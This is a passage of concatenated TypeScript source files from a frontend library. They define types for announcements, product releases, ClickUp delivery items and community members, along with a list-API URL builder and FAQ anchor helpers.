icon_props?: Record<string, any>;\n  platforms?: string[];  // entity_platforms set (multi-select)\n  is_active?: boolean;\n  // CTA (Call-To-Action) fields\n  cta_enabled?: boolean;\n  cta_text?: string;\n  cta_icon_name?: string;\n  cta_show_icon?: boolean;\n  cta_url?: string;\n  cta_target?: '_self' | '_blank';\n  cta_button_background_color?: string;\n  cta_button_text_color?: string;\n  cta_icon_props?: Record<string, any>;\n  created_by: string;\n}\n\nexport interface UpdateAnnouncementData {\n  title?: string;\n  description?: string;\n  background_color?: string;\n  icon_name?: string;\n  icon_url?: string;\n  /** Extra props for the main bar/icon */\n  icon_props?: Record<string, any>;\n  platforms?: string[];  // entity_platforms set (multi-select)\n  is_active?: boolean;\n  // CTA (Call-To-Action) fields\n  cta_enabled?: boolean;\n  cta_text?: string;\n  cta_icon_name?: string;\n  cta_show_icon?: boolean;\n  cta_url?: string;\n  cta_target?: '_self' | '_blank';\n  cta_button_background_color?: string;\n  cta_button_text_color?: string;\n  cta_icon_props?: Record<string, any>;\n}\n\nexport interface AnnouncementListResponse {\n  announcements: Announcement[];\n  pagination: {\n    page: number;\n    page_size: number;\n    total_count: number;\n    total_pages: number;\n  };\n  filters?: {\n    platform?: LegacyPlatform;\n    is_active?: boolean;\n  };\n}\n\n/**\n * Wire shape of GET /api/announcements/active — the single typed home for the\n * `{ announcement }` envelope (hub route return + AnnouncementBar's\n * useSelfFetch generic). `null` when no active announcement exists.\n */\nexport interface AnnouncementResponse {\n  announcement: Announcement | null;\n}\n\n/**\n * Default CTA button colors — one home for the pair the DAL create/update\n * defaults and the admin form both reference. Announcement colors are\n * admin-chosen data (not ODS-token surfaces) by design.\n */\nexport const ANNOUNCEMENT_CTA_DEFAULTS = {\n  background: '#1A1A1A',\n  text: '#FAFAFA',\n} as const;\n\n// Form Data Types\nexport interface AnnouncementFormData {\n  title: string;\n  description: string;\n  background_color: string;\n  icon_name: string;\n  icon_url?: string;\n  platforms: string[];  // entity_platforms set (multi-select; no single platform_id)\n  is_active: boolean;\n  // CTA (Call-To-Action) fields\n  cta_enabled: boolean;\n  cta_text: string;\n  cta_icon_name: string;\n  cta_show_icon: boolean;\n  cta_url: string;\n  cta_target: '_self' | '_blank';\n  // New CTA button custom colors\n  cta_button_background_color?: string;\n  cta_button_text_color?: string;\n  cta_icon_props?: string; // JSON string in form\n  /** Extra props for the main bar/icon */\n  icon_props?: string;\n}\n\n// API Query Parameters\nexport interface GetAnnouncementsOptions {\n  platform?: PlatformFilter;  // Changed from Platform to PlatformFilter to include 'all'\n  is_active?: boolean;\n  page?: number;\n  pageSize?: number;\n  sortBy?: 'created_at' | 'updated_at' | 'title';\n  sortOrder?: 'asc' | 'desc';\n}\n\n// File Upload Types\nexport interface IconUploadResponse {\n  success: boolean;\n  file_url?: string;\n  file_name?: string;\n  file_size?: number;\n  error?: string;\n}\n\nexport interface IconUploadData {\n  file: File;\n  announcement_id?: string;\n}\n\n// Available SVG Icons (extend as needed)\nexport interface AvailableSvgIcon {\n  name: string;\n  display_name: string;\n  component_name: string;\n}\n\n// Error Types\nexport interface AnnouncementError {\n  code: string;\n  message: string;\n  details?: string;\n}\n\n// Validation Types\nexport interface AnnouncementValidation {\n  title: {\n    required: boolean;\n    minLength: number;\n    maxLength: number;\n  };\n  description: {\n    required: boolean;\n    minLength: number;\n    maxLength: number;\n  };\n  background_color: {\n    required: boolean;\n    pattern: RegExp;\n  };\n  icon_name: {\n    required: boolean;\n    validOptions: string[];\n  };\n  platform: {\n    required: boolean;\n    validOptions: LegacyPlatform[];\n  };\n}\n\n// Import unified platform configuration (removed duplicate definition)\nexport type { PlatformConfig } from './platform';\n\n// Component Props Types\nexport interface AnnouncementBarProps {\n  /**\n   * SSR mode seed. `null` = the server resolved \"nothing to show\" (no active\n   * announcement, or dismissed via cookie) — seeds the fetch hook and skips\n   * the mount fetch. Absent (`undefined`) = client-only mode: the bar\n   * self-fetches on mount from the EndpointsRuntime provider's\n   * `announcementsUrl` (see react-embedding-example — no per-component URL\n   * or platform knobs; the server resolves its own platform via\n   * currentPlatform()).\n   */\n  initialAnnouncement?: Announcement | null;\n  /**\n   * Render-only mode for the admin live preview: no fetch/revalidation, inert\n   * dismiss button, and no storage side effects (never writes dismissal\n   * cookies or touches localStorage).\n   */\n  previewMode?: boolean;\n  /**\n   * When false, the dismiss (X) button is not rendered — the bar can only\n   * disappear by deactivating the announcement. Default true.\n   */\n  dismissible?: boolean;\n  className?: string;\n}\n\nexport interface AnnouncementFormProps {\n  announcement?: Announcement;\n  onSubmit: (data: AnnouncementFormData) => Promise<void>;\n  onCancel: () => void;\n  isLoading?: boolean;\n  availableIcons: AvailableSvgIcon[];\n}\n\nexport interface AnnouncementListProps {\n  announcements: Announcement[];\n  onEdit: (announcement: Announcement) => void;\n  onDelete: (announcementId: string) => void;\n  onToggleActive: (announcementId: string, isActive: boolean) => void;\n  isLoading?: boolean;\n}\n\n// Database Utility Types\nexport interface AnnouncementFilters {\n  platform?: LegacyPlatform;\n  is_active?: boolean;\n  created_by?: string;\n  search?: string;\n}\n\nexport interface AnnouncementSortOptions {\n  field: 'created_at' | 'updated_at' | 'title' | 'platform';\n  direction: 'asc' | 'desc';\n}\n\n// SVG Icon Type\nexport interface SvgIcon {\n  name: string;\n  label: string;\n  component: any;\n}\n\n// Platform display configuration\n// PLATFORM_CONFIGS removed - all platform data now comes from database via getPlatformsConfig()\n\n// Available SVG icons configuration\nexport const AVAILABLE_SVG_ICONS: SvgIcon[] = [\n  // OpenFrame Logo Options\n  { name: 'openframe-logo', label: 'OpenFrame Logo', component: null as any },\n  \n  // Platform Logos\n  { name: 'openmsp-logo', label: 'OpenMSP Logo', component: null as any },\n  { name: 'flamingo-logo', label: 'Flamingo Logo', component: null as any },\n  \n  // Lucide Icons\n  { name: 'megaphone', label: 'Megaphone', component: null as any },\n  { name: 'bell', label: 'Bell', component: null as any },\n  { name: 'info', label: 'Information', component: null as any },\n  { name: 'star', label: 'Star', component: null as any },\n  { name: 'rocket', label: 'Rocket', component: null as any },\n  { name: 'package', label: 'Package', component: null as any }\n]; ","// Product Release Types\n// Following the blog.ts pattern for consistency\n\nimport type { PlatformRecord } from './platform'\nimport type { EntityAuthor } from './entity-author'\nimport type { BlogTag, TagAssoc } from './blog'\nimport type { VideoTeaser, TranscriptWord, SpeakerMapping } from './video-processing'\n\nexport interface ChangelogEntry {\n  title: string\n  description?: string\n  /**\n   * Per-entry visibility flag. Optional so product releases (which always render\n   * publicly) remain backwards compatible. Investor updates require this field\n   * because each entry can be marked internal — see investor-update-utils.ts.\n   */\n  visibility?: 'public' | 'internal'\n}\n\nexport interface ReleaseMedia {\n  id: number\n  release_id: number\n  media_type: 'image' | 'video' | 'screenshot' | 'demo'\n  media_url: string\n  display_order: number | null\n  title: string | null\n  description: string | null\n  created_at: string\n  updated_at: string\n  created_by: string\n}\n\nexport interface ProductReleaseGitHubLink {\n  id: number\n  release_id: number\n  github_release_url: string // Full URL (e.g., https://github.com/org/repo/releases/tag/v2.0.0)\n  display_order: number | null\n  created_at: string\n}\n\nexport interface KnowledgeBaseLink {\n  id: number\n  release_id: number\n  kb_article_path: string // Relative path (e.g., /api/authentication/api-keys.md)\n  display_order: number | null\n  created_at: string\n}\n\nexport interface ClickUpRoadmapTask {\n  id: number\n  release_id: number\n  clickup_task_id: string // Just the task ID - details from roadmap folder\n  display_order: number | null\n  created_at: string\n}\n\nexport interface ClickUpDeliveryTask {\n  id: number\n  release_id: number\n  clickup_task_id: string // Just the task ID - details from delivery list\n  display_order: number | null\n  created_at: string\n}\n\nexport interface ProductRelease {\n  id: number\n  title: string\n  slug: string\n  version: string\n  summary: string | null\n  content: string | null\n\n  // Release metadata\n  release_type: 'major' | 'minor' | 'patch' | 'beta' | 'alpha'\n  release_status: 'alpha' | 'beta' | 'stable' | 'deprecated'\n  release_date: string\n\n  // Changelog (JSONB arrays)\n  features_added: ChangelogEntry[]\n  bugs_fixed: ChangelogEntry[]\n  improvements: ChangelogEntry[]\n  breaking_changes: ChangelogEntry[]\n\n  // External relationships (one-to-many)\n  github_releases?: ProductReleaseGitHubLink[]\n  knowledge_base_links?: KnowledgeBaseLink[]\n  clickup_roadmap_tasks?: ClickUpRoadmapTask[]\n  clickup_delivery_tasks?: ClickUpDeliveryTask[]\n  release_media?: ReleaseMedia[]\n\n  // Media (keeping featured_image for hero)\n  featured_image: string | null\n\n  // Documentation\n  migration_guide_url: string | null\n  documentation_url: string | null\n\n  // Video (youtube_url for embeds, main_video_url for AI processing)\n  youtube_url: string | null\n  main_video_url: string | null\n  transcript: string | null\n  transcript_words_data?: TranscriptWord[]\n  srt_content?: string | null\n  highlight_srt_content?: string | null\n  video_summary: string | null // AI-generated summary from video transcription\n  video_bites: VideoTeaser[] // JSONB array of extracted video clips\n  highlight_video_url: string | null\n  highlight_video_thumbnail: string | null\n  highlight_video_duration_ms: number | null\n  highlight_video_source: 'manual' | 'ai_generated' | null\n  main_video_thumbnail: string | null\n  ai_transcript_formatted?: string\n  speaker_mapping?: SpeakerMapping\n  ai_confidence_transcript: number | null\n  ai_confidence_video_summary: number | null // Confidence for video-generated summary\n  ai_confidence_summary: number | null // Confidence for entity summary (Release Content Generation)\n\n  // SEO\n  seo_title: string | null\n  seo_description: string | null\n  seo_keywords: string | null\n  og_image_url: string | null\n\n  // Publishing\n  status: 'draft' | 'published' | 'archived'\n  published_at: string | null\n  author_id: string | null\n\n  // HubSpot marketing email (mirrors InvestorUpdate). `hubspot_email_id` is the\n  // stored HubSpot email id; `hubspot_email_url` is computed by the admin GET\n  // route from the production portal id (never persisted).\n  hubspot_email_id?: string | null\n  hubspot_email_url?: string | null\n  /**\n   * Hydrated by `getRelease` (detail) and `getReleases` (list) via\n   * `hydrateAuthor` in the hub DAL. Optional so admin form + every existing\n   * consumer that doesn't read author stay backward-compatible.\n   */\n  author?: EntityAuthor\n\n  // Timestamps\n  created_at: string\n  updated_at: string\n\n  // Editor-provided AI generation instructions (steers Generate Content prompt)\n  custom_instructions: string | null\n\n  // Analytics\n  view_count: number\n  download_count: number\n\n  // Relations (populated by joins)\n  platforms?: PlatformRecord[]\n  tags?: BlogTag[]\n  product_release_platforms?: Array<{\n    platform_id: string\n    is_featured: boolean\n    featured_order: number | null\n    // The release DAL flattens the joined `platforms` row onto each junction\n    // entry (`...platform.platforms`), so `name`/`display_name` are present at\n    // runtime — `composeContentUrlFromPlatforms` reads `name` to resolve the\n    // target platform. Declared here so callers can pass this array to the\n    // `composeContentUrl` seam without a cast.\n    name?: string\n    display_name?: string\n  }>\n  // Flat unified tag-association shape (hydrated by entity-tag-utils).\n  product_release_tags?: TagAssoc[]\n}\n\nexport interface CreateProductReleaseData {\n  title: string\n  slug: string\n  version: string\n  summary?: string\n  content?: string\n  release_type: 'major' | 'minor' | 'patch' | 'beta' | 'alpha'\n  release_status: 'alpha' | 'beta' | 'stable' | 'deprecated'\n  release_date: string\n  features_added?: ChangelogEntry[]\n  bugs_fixed?: ChangelogEntry[]\n  improvements?: ChangelogEntry[]\n  breaking_changes?: ChangelogEntry[]\n  github_releases?: Array<{ github_release_url: string; display_order?: number }>\n  knowledge_base_links?: Array<{ kb_article_path: string; display_order?: number }>\n  clickup_roadmap_tasks?: Array<{ clickup_task_id: string; display_order?: number }>\n  clickup_delivery_tasks?: Array<{ clickup_task_id: string; display_order?: number }>\n  release_media?: Array<{ media_type: 'image' | 'video' | 'screenshot' | 'demo'; media_url: string; title?: string; description?: string; display_order?: number }>\n  featured_image?: string\n  migration_guide_url?: string\n  documentation_url?: string\n  youtube_url?: string\n  main_video_url?: string\n  transcript?: string\n  srt_content?: string | null\n  highlight_srt_content?: string | null\n  video_summary?: string // AI-generated summary from video transcription\n  video_bites?: VideoTeaser[]\n  highlight_video_url?: string | null\n  highlight_video_thumbnail?: string | null\n  highlight_video_duration_ms?: number | null\n  highlight_video_source?: 'manual' | 'ai_generated' | null\n  main_video_thumbnail?: string | null\n  seo_title?: string\n  seo_description?: string\n  seo_keywords?: string\n  og_image_url?: string\n  status: 'draft' | 'published' | 'archived'\n  published_at?: string | null\n  author_id: string\n  platforms: string[] // Array of platform IDs (UUIDs)\n  featured_platform?: string // Platform ID for featured\n  tags: number[] // Array of tag IDs\n  custom_instructions?: string | null\n}\n\nexport type UpdateProductReleaseData = Partial<CreateProductReleaseData>\n\nexport interface ProductReleaseFilters {\n  platform?: string | 'all'\n  tags?: string[]\n  version?: string\n  release_type?: ('major' | 'minor' | 'patch' | 'beta' | 'alpha')[]\n  release_status?: ('alpha' | 'beta' | 'stable' | 'deprecated')[]\n  has_breaking_changes?: boolean\n  search?: string\n  featured?: boolean\n  status?: string\n  limit?: number\n  offset?: number\n  ids?: (number | string)[]\n}\n\nexport interface ProductReleaseListResponse {\n  data: ProductRelease[]\n  count: number\n}\n\n// GitHub Release interface (for wizard)\nexport interface GitHubRelease {\n  id: string\n  tag_name: string\n  name: string\n  body: string\n  published_at: string\n  html_url: string\n  prerelease: boolean\n  draft: boolean\n}\n\n// Release type options for dropdowns\nexport const releaseTypeOptions = [\n  { value: 'major', label: 'Major Release', description: 'Breaking changes, new architecture', color: 'red' },\n  { value: 'minor', label: 'Minor Release', description: 'New features, backward compatible', color: 'blue' },\n  { value: 'patch', label: 'Patch Release', description: 'Bug fixes only', color: 'green' },\n  { value: 'beta', label: 'Beta Release', description: 'Pre-release testing version', color: 'yellow' },\n  { value: 'alpha', label: 'Alpha Release', description: 'Early testing version', color: 'orange' }\n] as const\n\n// Release status options\nexport const releaseStatusOptions = [\n  { value: 'alpha', label: 'Alpha', description: 'Early development, unstable', color: 'orange' },\n  { value: 'beta', label: 'Beta', description: 'Feature complete, testing', color: 'yellow' },\n  { value: 'stable', label: 'Stable', description: 'Production ready', color: 'green' },\n  { value: 'deprecated', label: 'Deprecated', description: 'No longer supported', color: 'gray' }\n] as const\n\n// Changelog category labels\nexport const changelogLabels = {\n  features_added: 'Features Added',\n  bugs_fixed: 'Bugs Fixed',\n  improvements: 'Improvements',\n  breaking_changes: 'Breaking Changes'\n} as const\n\n// Semantic versioning validation regex\nexport const SEMVER_REGEX = /^\\d+\\.\\d+\\.\\d+(-[a-zA-Z0-9.-]+)?(\\+[a-zA-Z0-9.-]+)?$/\n","/**\n * Delivery (ClickUp Bug-fixes & Enhancements) wire types — shared between the\n * hub's `/api/delivery*` route shapes and the lib's `DeliveryTable`/`DeliveryLists`/\n * `DeliverySection` components.\n *\n * Lifted from hub `types/delivery.ts` so embedders consuming the lib's\n * delivery surfaces and the lib's own `ReleaseDetailPage` (which renders\n * related delivery items) share one canonical shape.\n */\n\n/**\n * Display identity for a task assignee — WIRE-SAFE shape: name + avatar\n * only, resolved server-side (ClickUp assignee × profiles). Emails are\n * deliberately NOT on the wire; the roadmap/delivery boards are public\n * surfaces (same policy as the RAG mappers). Feeds `AvatarStack`\n * directly.\n */\nexport interface TaskAssigneeDisplay {\n  /** ClickUp member id — stable render key. */\n  id: number;\n  name: string | null;\n  avatarUrl: string | null;\n}\n\nexport interface DeliveryItem {\n  id: string;\n  title: string;\n  description: string;\n  status: string;\n  statusColor: string; // ClickUp status color\n  taskType: 'Request' | 'Bug' | string; // ClickUp task type\n  /**\n   * Canonical ClickUp custom_item_id (1008 = Bug, 1009 = Request, …).\n   * Surfaced here so the chat's compact card can render a type-specific\n   * lucide icon via `TaskTypeIcon` instead of the two-letter initials\n   * fallback. Single source of truth lives in\n   * `lib/utils/clickup-task-type-utils.ts` (hub-side).\n   */\n  customItemId: number | null;\n  /** Assignee display identities (name + avatar, never email) — powers\n   *  the AvatarStack on cards. Optional: producers that don't enrich\n   *  (e.g. activity-cache recent_tasks) simply omit it. */\n  assignees?: TaskAssigneeDisplay[];\n  /**\n   * Every ClickUp list the task is associated with (home list + ClickUp's\n   * \"Tasks in Multiple Lists\" locations). UI joins these for display.\n   * Falls back to a single-element array containing the home list when\n   * there are no additional locations.\n   */\n  listNames: string[];\n  dateOpened: number; // Unix timestamp\n  dateUpdated: number; // Unix timestamp\n  dateClosed: number | null; // Unix timestamp or null if not closed\n  clickupUrl: string;\n}\n\nexport interface DeliveryResponse {\n  completed: DeliveryItem[];\n  inProgress: DeliveryItem[];\n}\n\n// Task type to badge label mapping\nexport const TASK_TYPE_LABELS = {\n  Request: 'ENHANCEMENT',\n  Bug: 'BUG-FIX',\n} as const;\n\n// Task type to badge text-color mapping (ODS attention-red for Bug; default for others)\nexport const TASK_TYPE_TEXT_COLORS = {\n  Request: '', // Default white/grey\n  Bug: 'text-[var(--ods-attention-red-error)]',\n} as const;\n","/**\n * TMCG (The Miami Cyber Gang) related types and interfaces\n */\n\nexport interface TMCGMemberSocialLink {\n  platform: string\n  url: string\n  username?: string\n}\n\nexport interface TMCGMember {\n  id: string\n  full_name: string\n  avatar_url?: string | null\n  company?: string | null\n  about?: string | null\n  job_title?: string | null\n  tmcg_roles: string[]\n  social_links: TMCGMemberSocialLink[]\n  created_at: string\n  updated_at: string\n}\n\nexport interface TMCGMembersResponse {\n  success: boolean\n  data: {\n    members: TMCGMember[]\n    count: number\n  }\n  error?: string\n}\n\nexport interface TMCGMemberResponse {\n  success: boolean\n  data: TMCGMember\n  error?: string\n}\n\n/**\n * TMCG Member Card Props\n */\nexport interface TMCGMemberCardProps {\n  member: TMCGMember\n  className?: string\n  compact?: boolean\n}\n\n/**\n * TMCG Members Grid Props\n */\nexport interface TMCGMembersGridProps {\n  members: TMCGMember[]\n  isLoading?: boolean\n  error?: string | null\n  className?: string\n}\n\n/**\n * TMCG Social Links Props\n */\nexport interface TMCGSocialLinksProps {\n  socialLinks: TMCGMemberSocialLink[]\n  className?: string\n  size?: 'sm' | 'md' | 'lg'\n}\n\n/**\n * Hook return types\n */\nexport interface UseTMCGMembersResult {\n  members: TMCGMember[]\n  isLoading: boolean\n  error: string | null\n  refetch: () => void\n}\n\nexport interface UseTMCGMemberResult {\n  member: TMCGMember | null\n  isLoading: boolean\n  error: string | null\n  refetch: () => void\n}\n\n/**\n * TMCG specific constants\n */\nexport const TMCG_ROLES = {\n  FOUNDER: 'founder',\n  ORGANIZER: 'organizer',\n  MEMBER: 'member',\n  CONTRIBUTOR: 'contributor',\n  SPEAKER: 'speaker',\n  MENTOR: 'mentor'\n} as const\n\nexport type TMCGRole = typeof TMCG_ROLES[keyof typeof TMCG_ROLES]\n\n/**\n * TMCG role display names\n */\nexport const TMCG_ROLE_DISPLAY_NAMES: Record<string, string> = {\n  [TMCG_ROLES.FOUNDER]: 'Founder',\n  [TMCG_ROLES.ORGANIZER]: 'Organizer',\n  [TMCG_ROLES.MEMBER]: 'Member',\n  [TMCG_ROLES.CONTRIBUTOR]: 'Contributor',\n  [TMCG_ROLES.SPEAKER]: 'Speaker',\n  [TMCG_ROLES.MENTOR]: 'Mentor'\n}\n\n/**\n * Social platform icon mapping for TMCG context\n */\nexport const TMCG_SOCIAL_PLATFORMS = {\n  linkedin: 'LinkedIn',\n  twitter: 'Twitter',\n  github: 'GitHub',\n  website: 'Website',\n  youtube: 'YouTube',\n  instagram: 'Instagram',\n  facebook: 'Facebook',\n  discord: 'Discord',\n  telegram: 'Telegram',\n  slack: 'Slack'\n} as const\n\nexport type TMCGSocialPlatform = keyof typeof TMCG_SOCIAL_PLATFORMS","/**\n * Shared list-API URL builder — the single un-replicable piece of the\n * chat entity-card fetch path.\n *\n * ## Why this exists\n *\n * A fetch-mode entity card (`dispatch.tsx` → `useChatCardItem`) expands a\n * compact `[card://<type>:<id>]` marker by fetching the type's public list\n * endpoint with an `?ids=` (or `?task_ids=`) filter and matching the row\n * back by id. The per-type URL SHAPE is non-obvious — `task_ids` for the\n * ClickUp-backed types, `pageSize` for blog, `&limit=N&filter=all` for the\n * programs trio, a distinct `/customer-interviews` path, etc. — and lives in\n * the hub's 12 RAG mapper closures (`lib/config/rag-mappers/*.ts`). An\n * embedder can't reverse-engineer those shapes, so a wrong/missing builder\n * resolves a null URL ⇒ `enabled:false` ⇒ the card never fetches and renders\n * nothing.\n *\n * This builder is the ONE source for those shapes. The hub's 12 mappers\n * delegate their `listApi` here (a byte-parity test guards the migration),\n * and embedders wire it once:\n *\n *   endpoints.buildListUrl = (type, ids) => buildListUrl(type, ids, '/content')\n *\n * `base=''` (default) yields the hub-relative `/api/...`; `base='/content'`\n * (or any reverse-proxy prefix) yields `/content/api/...`.\n *\n * Pure + server-safe (no React, no browser APIs) so the hub's server-side\n * mappers can import it from `@flamingo-stack/openframe-frontend-core/utils`.\n */\n\n/**\n * Legacy ContentRef aliases that predate the RAG `documentType`\n * unification — direct lib/embedder callers (e.g. the chat dispatcher's\n * `endpoints.buildListUrl`) still emit `blog_post_existing`. Mirrors the\n * hub's own `LEGACY_TYPE_ALIASES` (`lib/utils/entity-list-api.ts`); both\n * entry points un-alias to the canonical `documentType` before lookup.\n */\nconst ALIASES: Record<string, string> = { blog_post_existing: 'blog_post' }\n\n/** Resolve a ContentRef rail-vocab type to its canonical `documentType`\n *  (registry vocabulary) — `blog_post_existing` → `blog_post`, everything\n *  else passes through. Exported so consumers comparing rail group keys to\n *  registry entityTypes (e.g. the related-content rail's same-type-first\n *  ordering) share THIS alias map instead of re-declaring it. */\nexport function canonicalContentRefType(contentRefType: string): string {\n  // `hasOwnProperty` guard, same as `buildListUrl` below: a bare index read\n  // resolves prototype keys, so `canonicalContentRefType('constructor')`\n  // returned `Object` itself — which then got interpolated into a URL path.\n  return Object.prototype.hasOwnProperty.call(ALIASES, contentRefType)\n    ? ALIASES[contentRefType]\n    : contentRefType\n}\n\n/**\n * One builder per fetch-mode `contentRefType`, keyed by the canonical\n * `documentType`. Each body is copied VERBATIM from the matching hub\n * mapper's `listApi` (raw, unencoded `join(',')`; exact param names) —\n * the byte-parity test (`__tests__/list-url.test.ts`) fails if any drifts.\n *\n * An ABSENT key ⇒ `buildListUrl` returns null (no-fetch). Only two types\n * are intentionally absent — `deleted_data` (tombstone of a deleted row;\n * nothing exists to fetch) and `video` (body-embed content-hash ids with\n * no backing table row). Every other card type resolves here: content\n * types to their public list APIs, the rest to their per-object\n * card-hydration routes (see `ENTITY_CARD_ROUTES` below).\n * `marketing_campaign` is handled as a literal case in `buildListUrl`\n * (see there).\n */\nconst BUILDERS: Record<string, (ids: string[], base: string) => string> = {\n  roadmap_item: (ids, b) => `${b}/api/roadmap?task_ids=${ids.join(',')}`,\n  delivery_item: (ids, b) => `${b}/api/delivery?task_ids=${ids.join(',')}`,\n  internal_task: (ids, b) => `${b}/api/internal-tasks?task_ids=${ids.join(',')}`,\n  blog_post: (ids, b) => `${b}/api/blog/posts?ids=${ids.join(',')}&pageSize=${ids.length}`,\n  webinar: (ids, b) => `${b}/api/programs/webinars?ids=${ids.join(',')}&limit=${ids.length}&filter=all`,\n  podcast: (ids, b) => `${b}/api/programs/podcasts?ids=${ids.join(',')}&limit=${ids.length}&filter=all`,\n  event: (ids, b) => `${b}/api/programs/events?ids=${ids.join(',')}&limit=${ids.length}&filter=all`,\n  onboarding_guide: (ids, b) => `${b}/api/onboarding-guides?ids=${ids.join(',')}&limit=${ids.length}`,\n  case_study: (ids, b) => `${b}/api/case-studies?ids=${ids.join(',')}&limit=${ids.length}`,\n  product_release: (ids, b) => `${b}/api/releases?ids=${ids.join(',')}&limit=${ids.length}`,\n  customer_interview: (ids, b) => `${b}/api/customer-interviews?ids=${ids.join(',')}&limit=${ids.length}`,\n  investor_update: (ids, b) => `${b}/api/investor-updates?ids=${ids.join(',')}&limit=${ids.length}`,\n  faq: (ids, b) => `${b}/api/faqs?ids=${ids.join(',')}&limit=${ids.length}`,\n  // Self-scoped: the endpoint filters by the SESSION user's email server-side\n  // (`selfScopeFilter`), so foreign ids simply return no row — safe to expose\n  // through the same builder path as the public types.\n  hubspot_ticket_self: (ids, b) => `${b}/api/tickets?ids=${ids.join(',')}`,\n  // Per-OBJECT card-hydration routes for the types with no pre-existing\n  // public list API. THIS map is the only place these URL shapes exist —\n  // the hub's mappers/configs delegate here (`listApi: (ids) =>\n  // buildListUrl('<type>', ids)`), same as every entry above. The\n  // internal/public GitHub variants share their object's route; the\n  // route serves whichever variant is bound to the calling source.\n  github_commit: (ids, b) => `${b}/api/github/commits?ids=${ids.join(',')}`,\n  github_commit_public: (ids, b) => `${b}/api/github/commits?ids=${ids.join(',')}`,\n  github_pull_request: (ids, b) => `${b}/api/github/pull-requests?ids=${ids.join(',')}`,\n  github_pull_request_public: (ids, b) => `${b}/api/github/pull-requests?ids=${ids.join(',')}`,\n  github_pr_review: (ids, b) => `${b}/api/github/reviews?ids=${ids.join(',')}`,\n  github_pr_review_public: (ids, b) => `${b}/api/github/reviews?ids=${ids.join(',')}`,\n  slack_message: (ids, b) => `${b}/api/slack-community/messages?ids=${ids.join(',')}`,\n  hubspot_ticket: (ids, b) => `${b}/api/tickets/internal?ids=${ids.join(',')}`,\n  hubspot_ticket_anon: (ids, b) => `${b}/api/tickets/known-issues?ids=${ids.join(',')}`,\n  data_room_doc: (ids, b) => `${b}/api/data-room/documents?ids=${ids.join(',')}`,\n  markdown: (ids, b) => `${b}/api/docs/pages?ids=${ids.join(',')}`,\n  financial_kpi: (ids, b) => `${b}/api/financials/kpis?ids=${ids.join(',')}`,\n  cap_table: (ids, b) => `${b}/api/financials/cap-table?ids=${ids.join(',')}`,\n  profit_loss: (ids, b) => `${b}/api/financials/profit-loss?ids=${ids.join(',')}`,\n  balance_sheet: (ids, b) => `${b}/api/financials/balance-sheet?ids=${ids.join(',')}`,\n  cash_flow: (ids, b) => `${b}/api/financials/cash-flow?ids=${ids.join(',')}`,\n}\n\n/**\n * Build a list-API URL that returns full rows for the given ids, or `null`\n * when the type has no list endpoint (the caller skips fetching rather than\n * fabricating a URL).\n *\n *   buildListUrl('roadmap_item', ['a','b'])             → '/api/roadmap?task_ids=a,b'\n *   buildListUrl('blog_post_existing', ['a','b'])       → '/api/blog/posts?ids=a,b&pageSize=2'  (alias)\n *   buildListUrl('roadmap_item', ['a','b'], '/content') → '/content/api/roadmap?task_ids=a,b'\n *   buildListUrl('github_pr', ['a'])                    → null  (absent key)\n *\n * `marketing_campaign` (admin-only, non-RAG) is a LITERAL case, NOT a\n * `BUILDERS` entry — a static branch keeps CodeQL able to prove no\n * user-controlled dynamic dispatch reaches the admin endpoint; embedders\n * can't hit `/api/admin` through their proxy anyway.\n */\nexport function buildListUrl(contentRefType: string, ids: string[], base = ''): string | null {\n  if (ids.length === 0) return null\n  const key = ALIASES[contentRefType] ?? contentRefType\n  if (key === 'marketing_campaign') {\n    // Keep this URL in sync with the hub's `entity-list-api.ts` buildNonRagListUrl\n    // — an intentional dual literal (a static branch in each) so CodeQL can prove\n    // no user-controlled dynamic dispatch reaches `/api/admin`.\n    return `${base}/api/admin/marketing/campaigns?ids=${ids.join(',')}&pageSize=${ids.length}`\n  }\n  // `hasOwnProperty` guard so a prototype key (`constructor`, `__proto__`)\n  // can't dispatch to a non-builder — absent key ⇒ null.\n  const fn = Object.prototype.hasOwnProperty.call(BUILDERS, key) ? BUILDERS[key] : undefined\n  return fn ? fn(ids, base) : null\n}\n","/**\n * FAQ anchor SSOTs — TWO complementary deep-link kinds on the `/faqs` page,\n * both rendered straight onto the DOM and recognised by ONE parser. Keeping\n * the format helpers + parser in one file means the page, the chat RAG\n * mapper, and any future consumer can't drift on what a hash means.\n *\n *   `/faqs#faq-pricing`     → category section header (jump-nav pills,\n *                             scroll-spy)\n *   `/faqs#faq-item-42`     → individual question (chat citation chips —\n *                             auto-expands the row + scrolls to it)\n *\n * Reserved namespaces — `faq-item-<digits>` is the item shape; everything\n * else starting with `faq-` is a section slug. `faqSectionSlug` lowercases\n * + dash-collapses + dash-trims, so a section name would only collide with\n * the item shape if it slugified to `faq-item-<digits-only>` (e.g. a\n * category called \"Item 42\") — none of the 21 production sections do, and\n * `parseFaqHash`'s regex is digits-only so future word-suffixed names like\n * \"Item Whatever\" (slugifies to `faq-item-whatever`) are also safe.\n */\n\n/** Stable, URL-safe anchor id for a category. Prefixed with `faq-` so it\n *  can't collide with other in-page ids, and so a bare numeric/blank\n *  section still yields a valid id. The helper assumes the caller has\n *  already verified the section is a non-blank string (matches\n *  `faq-section.tsx`'s `groupFaqsBySection` precondition). */\nexport function faqSectionSlug(section: string): string {\n  return (\n    'faq-' +\n    section\n      .toLowerCase()\n      .replace(/[^a-z0-9]+/g, '-')\n      .replace(/^-+|-+$/g, '')\n  )\n}\n\n/** Stable anchor for an individual FAQ row. Rendered as the row container's\n *  `id` attribute by `FaqAccordion`; consumed by `FaqSection` (auto-open +\n *  auto-scroll on mount) AND by the hub's RAG mapper so chat citations\n *  deep-link to the specific question, not just its category. The id is\n *  stringified verbatim — the FAQ schema uses integer PKs so `parseFaqHash`'s\n *  digits-only regex always matches a real row. */\nexport function faqItemAnchor(id: number | string): string {\n  return `faq-item-${id}`\n}\n\n/** Discriminated parse of a `/faqs#…` hash. Returns null for an empty,\n *  missing, or unrecognised hash so callers can early-out without\n *  scattering string parsing across the file.\n *\n *   parseFaqHash('#faq-item-42')   → { kind: 'item',    rawId: '42' }\n *   parseFaqHash('#faq-pricing')   → { kind: 'section', slug: 'faq-pricing' }\n *   parseFaqHash('#anything-else') → null\n *\n * `rawId` is the matched digit run as a string — the caller compares it\n * to `String(item.id)` so coercion stays at the comparison site. */\nexport type FaqHashTarget =\n  | { kind: 'item';    rawId: string }\n  | { kind: 'section'; slug:  string }\n\nconst FAQ_ITEM_HASH_RE = /^faq-item-(\\d+)$/\n\nexport function parseFaqHash(hash: string | null | undefined): FaqHashTarget | null {\n  if (!hash) return null\n  const trimmed = hash.replace(/^#/, '')\n  if (!trimmed) return null\n  const itemMatch 